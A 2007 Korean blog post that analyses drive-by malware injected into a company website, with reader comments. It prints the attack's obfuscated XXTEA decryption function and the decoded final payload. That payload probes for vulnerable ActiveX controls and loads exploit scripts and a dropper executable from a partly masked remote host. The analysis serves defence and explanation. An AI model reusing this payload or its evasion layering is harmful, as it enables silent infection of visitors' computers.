Egloos | Log-in


웹 사이트를 통해서 전파되는 악성코드 분석 #1

오랜만에 악성코드 하나를 분석해보겠습니다.

최근에 유행하는 형태가 유명사이트나 포털에 존재하는 웹 기반 취약점을 이용하여 악성 웹 페이지를 삽입하는 것이죠. 얼마전 조선일보에서 발생했던 악성 웹 페이지 삽입 건이 이와 거의 유사하다고 보시면 됩니다.

최근에 입수한 악성 웹 페이지 중 모 회사 웹사이트에 삽입되었던 것이 있는데 그 악성 웹 페이지는 다음과 같은 기술을 적용하고 있었습니다.

 1. 문자열에 대한 HEX 인코딩 적용
 2. 1차 공격 코드에 대한 BASE64 인코딩 적용
 3. BASE64로 인코딩 된 공격 코드에 대한 XXTEA 암호화 기술 적용
 4. UTF16 문자열 사용
 5. 4번까지 진행한 문자열을 eval()로 실행


악성 웹 페이지를 열람하게 되면 사용자의 브라우저(IE)에서 1~5까지 순서로 진행됩니다. 해당 프로세스의 특징은 백신이나 IPS를 우회하기 위한 성격이 강하죠. 다음은 위 과정중 XXTEA 암호화 기술을 구현한 함수입니다.


function xxtea_decrypt(Cu26,NcC27)
{
    if(Cu26=="")
    {
        return "";
    }
   
    var mMFb28=str2long(Cu26,false);
    var _qu_29=str2long(NcC27,false);
    var Gdms30=mMFb28["length"]-1;
    var O31=mMFb28[Gdms30-1], Qf32=mMFb28[0], yM33=0x9E3779B9;
    var MTY34,unHqa35,rz36=window["Math"]["floor"](6+52/(Gdms30+1)), uWduXhGKv37=rz36*yM33&0xffffffff;
   
    while(uWduXhGKv37!=0)
    {
        unHqa35=uWduXhGKv37>>>2&3;
        for(var QHDZttd38=Gdms30; QHDZttd38>0; QHDZttd38--)
        {
            O31=mMFb28[QHDZttd38-1];
            MTY34=(O31>>>5^Qf32<<2)+(Qf32>>>3^O31<<4)^(uWduXhGKv37^Qf32)+(_qu_29[QHDZttd38&3^unHqa35]^O31);
            Qf32=mMFb28[QHDZttd38]=mMFb28[QHDZttd38]-MTY34&0xffffffff;
        }

        O31=mMFb28[Gdms30];
        MTY34=(O31>>>5^Qf32<<2)+(Qf32>>>3^O31<<4)^(uWduXhGKv37^Qf32)+(_qu_29[QHDZttd38&3^unHqa35]^O31);
        Qf32=mMFb28[0]=mMFb28[0]-MTY34&0xffffffff;
        uWduXhGKv37=uWduXhGKv37-yM33&0xffffffff;
    }
    return long2str(mMFb28,true);
}


첫번째 인자는 XXTEA로 encrypt 된 문자열이 들어오고 두번째는 KEY 인것 같습니다. ^^;; 위키피디아에 나와 있는 내용을 참조하시면 될 듯 하네요.

http://en.wikipedia.org/wiki/XXTEA

그리고 소스에서 사용되는 변수들이 대부분 래덤하게 생성한 느낌이 드네요. 악성코드를 자동으로 생성해주는 자동 툴이 존재할 수 있을 것 같습니다. (단지 추측일 뿐 -_-;;)


일단 모든 과정을 다 통과하면 최종 결과물을 얻을 수 있는데 다음과 같았습니다. (민감한 부분은 *처리 하겠습니다.)

<중략>

if(document.cookie.indexOf('OK')==-1)
{
    try {
        var e;
        var ado=(document.createElement("object"));
        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-****-00C04FC29E36");
        var as=ado.createobject("Adodb.Stream","")
    }catch(e){
   
    };
    finally{
        var expires=new Date();
        expires.setTime(expires.getTime()+24*60*60*1000);
        document.cookie='iewin=vions;
        path=/;
        expires='+expires.toGMTString();
        if(e!="[object Error]"){
            document.write("<script src=http:\/\/www.****.com\/img\/*.js><\/script>")
        }else{
            try {
                var f;
                var storm=new ActiveXObject("MPS.StormPlayer")
            }catch(f){
           
            };
            finally {
                if(f!="[object Error]"){
                    document.write("<script src=http:\/\/www.****.com\/img\/*.js><\/script>")
                }
            }try {
                var g;
                var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1")
            }catch(g) {
           
            };finally {
                if(g!="[object Error]"){
                    document.write("<script src=http:\/\/www.****.com\/img\/*.js><\/script>")
                }
            }try {
                var h;
                var obj=new ActiveXObject("BaiduBar.Tool")
            }catch(h){
           
            };finally {
                if(h!="[object Error]"){
                    obj.DloadDS("http://www.****.com/web/**.cab","**.exe",0)
                }
            }
           
            if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"){
                document.write("<iframe width='10' height='10' src='http://www.****.com/img/****.html'></iframe>")
            }
        }
    }
}


코드를 대략 훓어보시면 3가지 ActiveX의 존재유무를 체크하고 아무것도 없으면 마지막부분에 특정 html을 다운로드 한다는 것을 알 수 있습니다. 3가지는 다음과 같습니다.

1. MPS.StormPlayer
2. POWERPLAYER.PowerPlayerCtrl
3. BaiduBar.Tool


각 항목마다 js 파일이 존재하며 항목에 맞는 공격을 수행하도록 설정이 되어 있습니다. 아무것도 없을 경우에는 GlobalLink의 ConnectAndEnterRoom ActiveX를 타겟으로 하는 공격코드를 다운로드 합니다.

항목에 맞는 공격코드가 실행이되면 전부 원격지에서 특정 악성프로그램을 다운로드 받아 사용자 PC에 자동설치합니다.
뭐.. 악성코드는 해커 마음이겠져... 제가 다운로드 받아서 분석해본 악성프로그램은 Dropper의 일종이였습니다.

virustotal.com 의 힘(?)을 빌어 검사해보니 시그니처가 쭉 나오네요. 아래와 같답니다.


V3도 Dropper로 잡네요.. 탐지율이 좋아진 것 같아서 좋네요 ㅋㅋ


그럼 도움이 되셨기를.... 궁금한 점 있으시면 리플로 달아주세용~





by fullc0de | 2007/11/14 11:01 | malicious code | 트랙백 | 덧글(4)

Commented by oO천랑Oo at 2007/11/14 11:40
제일 궁금한것은 이런 코드를 만드는 이유가 뭘까요?..이해가 안갑니다. ㅡ..ㅡㅋ 그럴 시간있으면 다른 것 힘쓰는게 좋을 것 같던데..아무리 봐도..(뭐 다른 세계의 일일까요?)
Commented by fullc0de at 2007/11/14 11:43
oO천랑Oo // 저런 코드를 만드는 최종 목표는 사용자 PC로 침투하기 입니다. 그 과정에는 여러가지 장애물들이 존재하져 대표적인게 백신입니다. 그런 것들을 우회하기 위해 코드가 복잡해 지는것이구요..

일단 사용자PC로 공격자가 원하는 파일을 다운로드 시키거나 백도어같은 뒷문을 열게되면 PC의 제어권이 공격자에게 넘어가게 되는거죠.. 그럼 그 PC를 가지고 자기가 떡 주무르 듯 원하는 것을 할 수 있는 거예요.

예를 들어 최근에 많이 발생하는 DDoS 같은 공격도 이러한 공격당한 PC들을 많이 보유하고 있어야 되거든요. ^^
Commented by FnWinter at 2007/11/14 12:02
오..이런식이군요.
Commented by suban at 2007/11/14 18:50
안녕하세요^^; 퍼갈게요~
※ 이 포스트는 더 이상 덧글을 남길 수 없습니다.

◀ 이전 페이지          다음 페이지 ▶